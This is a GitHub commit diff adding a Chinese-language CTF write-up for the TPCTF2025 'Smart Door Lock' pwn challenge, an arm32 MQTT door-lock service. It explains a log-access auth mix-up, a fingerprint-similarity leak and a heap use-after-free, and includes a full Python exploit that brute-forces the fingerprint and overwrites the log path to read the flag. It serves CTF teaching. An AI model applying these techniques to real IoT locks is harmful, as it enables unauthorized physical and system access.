Skip to content

Commit fce9073

Browse files
committed
fix the repository structure
1 parent 8b4da3b commit fce9073

33 files changed

+1111
-2
lines changed

pwn-smart-door-lock/README.md

+358-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,358 @@
1-
https://zq4mt4l88ne.feishu.cn/docx/ArMedC8xyo5sE0xTrWPc8aZVnfe?from=from_copylink
1+
https://zq4mt4l88ne.feishu.cn/docx/ArMedC8xyo5sE0xTrWPc8aZVnfe?from=from_copylink
2+
3+
# Smart Door Lock(10 Solves)
4+
5+
- ~~本题并不是出自于 Real-World 改编,如有雷同纯属巧合。现实中智能门锁应该也不是这么实现的,只是出自于出题人纯粹的脑洞~~
6+
- 原来本题的目的是利用堆上的 UAF,以及指纹泄漏作为信息泄露手段,实现任意地址写,最后打 arm32 架构上的 ROP
7+
- 最后考虑到场上的实现难度,以及上次 qwb 初赛 old-fashion-apache 中全场 0 解经历,只考到了任意地址写,改读 log 的文件,并实现 flag 的读取(其实是出题人太菜了自己没时间调堆风水)
8+
- [题目源码](https://github.com/tp-ctf/TPCTF2025/tree/main/pwn-smart-door-lock)
9+
10+
## 题目描述
11+
12+
- 本题模拟了一个 arm32 架构上的 mqtt 协议交互,采用了智能门锁的使用场景。为了贴近真实环境,我们使用 TLS 加密的 mqtt 协议,这种环境下默认是可以开放端口的,基于明文的 1883 端口默认只在本地监听。
13+
- 用户使用指纹解锁登录,并在登录成功后可以对指纹进行增删改。
14+
- 用户首先通过 auth_token 申请了一个 token,再通过这个 Token 提交一个指纹,服务器认证指纹通过后,会返回给用户一个 session_id,通过这个 session_id,就可以实现对智能门锁的各种管理操作,操作时用户向 manager 频道提交 json 表单,表单长这个样子:
15+
16+
```
17+
{
18+
"session": "a1b2c3d4e5",
19+
"request": "edit_finger",
20+
"req_args": [
21+
"11",
22+
"[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20]",
23+
]
24+
}
25+
```
26+
27+
- 其中 request 是请求的操作,req_args 是这个请求所需要的操作,解析操作直接套用 cJson 库进行。
28+
29+
## 漏洞点
30+
31+
首先 mqtt_lock 的结构如下:
32+
33+
```
34+
class mqtt_lock : public mosqpp::mosquittopp
35+
{
36+
struct fingers {
37+
unsigned int finger[20];
38+
fingers* next;
39+
unsigned int finger_id;
40+
unsigned int retry_count;
41+
};
42+
struct lock_status {
43+
bool lock;
44+
std::string timestamp;
45+
};
46+
47+
public:
48+
mqtt_lock(const char *id, const char *host, int port);
49+
~mqtt_lock();
50+
51+
void on_connect(int rc);
52+
void on_disconnect(int rc);
53+
void on_message(const struct mosquitto_message *message);
54+
void on_publish(int mid);
55+
void on_unsubscribe(int mid);
56+
void on_subscribe(int mid, int qos_count, const int *granted_qos);
57+
58+
private:
59+
fingers *finger_list;
60+
lock_status lock_status;
61+
FILE *logger;
62+
unsigned int max_finger_id;
63+
char log_file[32];
64+
char* session_id;
65+
char* auth_token;
66+
67+
bool add_finger(char* finger_str);
68+
bool edit_finger(fingers* finger,char* finger_str);
69+
bool remove_finger(unsigned int finger_id);
70+
bool check_finger(fingers* finger,char* finger_str);
71+
bool download_log();
72+
bool clear_log();
73+
bool log(const char* str,...);
74+
bool lock_door();
75+
bool unlock_door();
76+
};
77+
```
78+
79+
### log 文件泄露
80+
81+
![](static/RBqwbddG8ohNd1xcb4kcX6Hgn4b.png)
82+
83+
很多队伍没有把这个当作漏洞,正常想要读取 log 文件需要经过认证,然而验证的模块把 auth_token 和 session_id 使用混淆了,导致只要用户申请了一个 auth_token,就可以获取对日志的查看和清空权限,可以方便的下载到日志文件。
84+
85+
### 指纹爆破
86+
87+
![](static/NGAlbsmszoF0Zhx9MLCcm7ufnTf.png)
88+
89+
- 指纹相似度的计算方法是对 20 个无符号整数中的每个以小的除以大的,加 5% 的权。
90+
- 每次指纹的数据都会将相似度写入到 log 文件中,结合上面的 log 泄露漏洞就可以提取当前尝试的指纹相似度。
91+
- 因此可以逐位进行爆破,更巧妙的方法是解方程,假设当前指纹数据是常数 a,我们输入为 x,相似度为 y,
92+
93+
$y= x/a (x<=a) || y= a/x (x >a)$我们测试几组数据解方程就可以了。这里我们只给出爆破的代码
94+
95+
### 添加指纹 UAF
96+
97+
![](static/KpxGblwMvozTcGxsJVNc4LjVnEe.png)
98+
99+
- add_finger 时会首先 malloc 一个新的空间存放指纹,edit 失败时会 free 掉,但是 finger_list 的指纹链表并没有清空,因此可以导致 UAF。
100+
- 算是比较明显的一个漏洞,有符号应该一眼就看出来了,出题的时候考虑过在 edit_finger 时隐式的进行内存释放,但这会增加漏洞的触发路径,同时 edit_finger 代码会显得很奇怪。最后决定把符号去掉,纯考验对 mqtt 协议的理解和逆向能力。
101+
102+
## 漏洞利用
103+
104+
- 前期指纹爆破
105+
- 当获取 session_id 后我们添加一个格式不符合规范的指纹,只需要用中括号[]包住,其他的随意填,就会导致 edit 失败 UAF
106+
- 测试发现 malloc 的是一个 0x60 的空间,而协议正常交互的过程中几乎不会申请到这个大小的内存,因此 tcache 列表相当的_干净_ ,我们只需要考虑怎么通过自定义的请求申请到这一片内存。
107+
- 具体来说,控制我们 publish 的内容:topic+ payload,会在 packet__read 函数申请相应大小的内存,另外我们使用了 cJson 作为用户 json 表单的解析器,同样可以为子项分配 0x60 的空间,根据调试选择合适的堆风水方式即可。
108+
- 修改 finger 结构体的 next 指针,指向 this->logfile 即可,this 结构体一般来说都是分配在了固定的位置
109+
110+
## EXP
111+
112+
### 交互函数的设置
113+
114+
```
115+
import paho.mqtt.client as mqtt
116+
import json
117+
import random
118+
import string
119+
import time
120+
import ssl
121+
from pwn import *
122+
from threading import Event
123+
correct_finger = [29,373307,1065735249,2909012772,1932386,2933,3462545,5692838,2601798933,3102258193,32207873,36167,1274411,31737324,3369724400,30220736,2479958049,5,3612650882,4088014656]
124+
class SecureLockTester:
125+
def __init__(self,
126+
host="localhost",
127+
port=8883,
128+
ca_certs="/etc/mosquitto/ca.crt",
129+
insecure=True):
130+
self.host = host
131+
self.port = port
132+
self.ca_certs = ca_certs
133+
self.insecure = insecure
134+
135+
self.client = mqtt.Client(protocol=mqtt.MQTTv311)
136+
self._configure_tls()
137+
138+
self.client.on_connect = self.on_connect
139+
self.client.on_message = self.on_message
140+
141+
self.auth_token = None
142+
self.session_id = None
143+
self.response_event = Event()
144+
self.last_response = None
145+
self.log_content = ""
146+
self.log_changed = False
147+
148+
def _configure_tls(self):
149+
self.client.tls_set(
150+
ca_certs=self.ca_certs,
151+
cert_reqs=ssl.CERT_REQUIRED,
152+
tls_version=ssl.PROTOCOL_TLSv1_2
153+
)
154+
if self.insecure:
155+
self.client.tls_insecure_set(True)
156+
157+
def on_connect(self, client, userdata, flags, rc):
158+
print(f"status code: {rc}")
159+
160+
def on_message(self, client, userdata, msg):
161+
topic = msg.topic
162+
payload = msg.payload.decode()
163+
if topic == "logfile":
164+
self.log_content += payload
165+
if "EOF" in payload and 'similarity' in self.log_content:
166+
self.log_changed = True
167+
self.response_event.set()
168+
elif topic == "re_"+self.auth_token:
169+
if "login successed. session_id: " in payload:
170+
self.session_id = payload.split("session_id: ")[1].strip()
171+
self.response_event.set()
172+
elif self.session_id != None and topic == self.session_id:
173+
self.last_response = payload
174+
self.response_event.set()
175+
176+
def wait_for_response(self, timeout=1):
177+
self.response_event.clear()
178+
received = self.response_event.wait(timeout)
179+
if not received:
180+
print("response timeout")
181+
return received
182+
183+
def generate_auth_token(self):
184+
token = "aaaaaaaaaaaaaaaa"
185+
self.auth_token = token
186+
self.client.subscribe("re_" + token)
187+
self.client.publish("auth_token", token)
188+
self.wait_for_response()
189+
print(f"auth_token: {token}")
190+
191+
def login(self,finger):
192+
buf_str = '['+ ','.join([str(num) for num in finger]) + ']'
193+
self.client.publish(self.auth_token,buf_str)
194+
if self.wait_for_response():
195+
if self.session_id:
196+
print(f"login successed. sessionID: {self.session_id}")
197+
self.client.subscribe(self.session_id)
198+
return True
199+
return False
200+
201+
def lock(self):
202+
return self.send_command("lock_door")
203+
def unlock(self):
204+
return self.send_command("unlock_door")
205+
def download_log(self):
206+
self.client.publish("logger", "download")
207+
return self.wait_for_response()
208+
def clear_log(self):
209+
self.client.publish("logger", "clear")
210+
return self.wait_for_response()
211+
def add_finger(self, finger):
212+
res = self.send_command("add_finger", [finger])
213+
if res and "new finger id:" in res:
214+
return int(res.split("new finger id:")[1].strip())
215+
return -1
216+
def del_finger(self, finger_id):
217+
res = self.send_command("remove_finger", [finger_id])
218+
if res and "removed finger id:" in res:
219+
return int(res.split("removed finger id:")[1].strip())
220+
return -1
221+
def edit_finger(self, finger_id, new_finger):
222+
res = self.send_command("edit_finger", [finger_id, new_finger])
223+
if res and "changed finger id:" in res:
224+
return int(res.split("changed finger id:")[1].strip())
225+
return -1
226+
227+
def send_command(self, command, args=None):
228+
if not self.session_id:
229+
raise ValueError("login first")
230+
231+
cmd = {
232+
"session": self.session_id,
233+
"request": command,
234+
"req_args": args or []
235+
}
236+
json_cmd = b"{\"session\":\"" + self.session_id.encode() + b"\",\"request\":\"" + command.encode() + b"\",\"req_args\":" + b"["
237+
if args:
238+
json_cmd += b'"' + args[0] +b'"'
239+
if len(args) > 1:
240+
json_cmd += b','
241+
json_cmd += b'"' + args[1] +b'"'
242+
json_cmd += b']' + b"}"
243+
self.client.publish("manager", json_cmd)
244+
print(f"sent cmd: {command} {json_cmd}")
245+
246+
if self.wait_for_response():
247+
return self.last_response
248+
return None
249+
250+
def test_secure_connection(self):
251+
try:
252+
self.client.connect(self.host, self.port, 60)
253+
self.client.loop_start()
254+
time.sleep(1)
255+
print("connected")
256+
return True
257+
except Exception as e:
258+
print(f"connection failed: {str(e)}")
259+
return False
260+
261+
def brute_fingerprint(self):
262+
correct = [0] * 20
263+
264+
max_sim = 0
265+
for i in range(20):
266+
cur_str = '['+ ','.join([str(num) for num in correct]) + ']'
267+
min_sim = self.brute_test_finger(cur_str)
268+
max_sim = min_sim
269+
cur = 0
270+
for round in range(8):
271+
max_j = 0
272+
for j in range(16):
273+
new_cur = j<<(28-4*round) | cur
274+
correct[i] = new_cur
275+
buf_str = '['+ ','.join([str(num) for num in correct]) + ']'
276+
new_sim = self.brute_test_finger(buf_str)
277+
if new_sim > max_sim:
278+
max_sim = new_sim
279+
max_j = j
280+
if max_sim - min_sim > 3.5:
281+
cur = max_j<<(28-4*round) | cur
282+
if max_sim - min_sim > 4.5:
283+
break
284+
correct[i] = cur
285+
286+
print(f"Position {i} found: {correct[i]}")
287+
final_buf = correct
288+
return final_buf
289+
290+
291+
def brute_test_finger(self, buf):
292+
self.clear_log()
293+
self.client.publish(self.auth_token,buf)
294+
self.wait_for_response()
295+
self.download_log()
296+
while True:
297+
if self.log_changed:
298+
self.log_changed = False
299+
break
300+
res = self.log_content.split("%")[-1].split("\n")[0]
301+
print(res, buf)
302+
self.log_content = ""
303+
return float(res)
304+
```
305+
306+
### 爆破指纹
307+
308+
```
309+
if __name__ == "__main__":
310+
tester = SecureLockTester(
311+
host="127.0.0.1",
312+
port=8883,
313+
ca_certs="src/ca.crt",
314+
insecure=True
315+
)
316+
try:
317+
if tester.test_secure_connection():
318+
tester.generate_auth_token()
319+
tester.client.subscribe("logfile")
320+
sleep(1)
321+
fingerprint = tester.brute_fingerprint()
322+
print("Correct fingerprint:", fingerprint)
323+
tester.login(fingerprint)
324+
325+
finally:
326+
tester.client.loop_stop()
327+
tester.client.disconnect()
328+
```
329+
330+
### 获取 flag
331+
332+
```
333+
if __name__ == "__main__":
334+
tester = SecureLockTester(
335+
host="127.0.0.1",
336+
port=8883,
337+
ca_certs="src/ca.crt",
338+
insecure=True
339+
)
340+
341+
try:
342+
if tester.test_secure_connection():
343+
tester.generate_auth_token()
344+
tester.client.subscribe("logfile")
345+
tester.login(correct_finger)
346+
tester.add_finger(b"[" +b"\xff"*0x80 +b"]")
347+
tester.client.publish("auth_token", b'a'*0x44 + p32(0x35C1F0)+p32(10))
348+
sleep(1)
349+
tester.edit_finger(b'625',b'[0,0,0,0,0,0,0,0,0,0,1634493999,103,0,0,0,0,0,0,0,0]')
350+
tester.generate_auth_token()
351+
tester.download_log()
352+
print(tester.log_content)
353+
354+
355+
finally:
356+
tester.client.loop_stop()
357+
tester.client.disconnect()
358+
```
Loading
Loading
Loading

0 commit comments

Comments
 (0)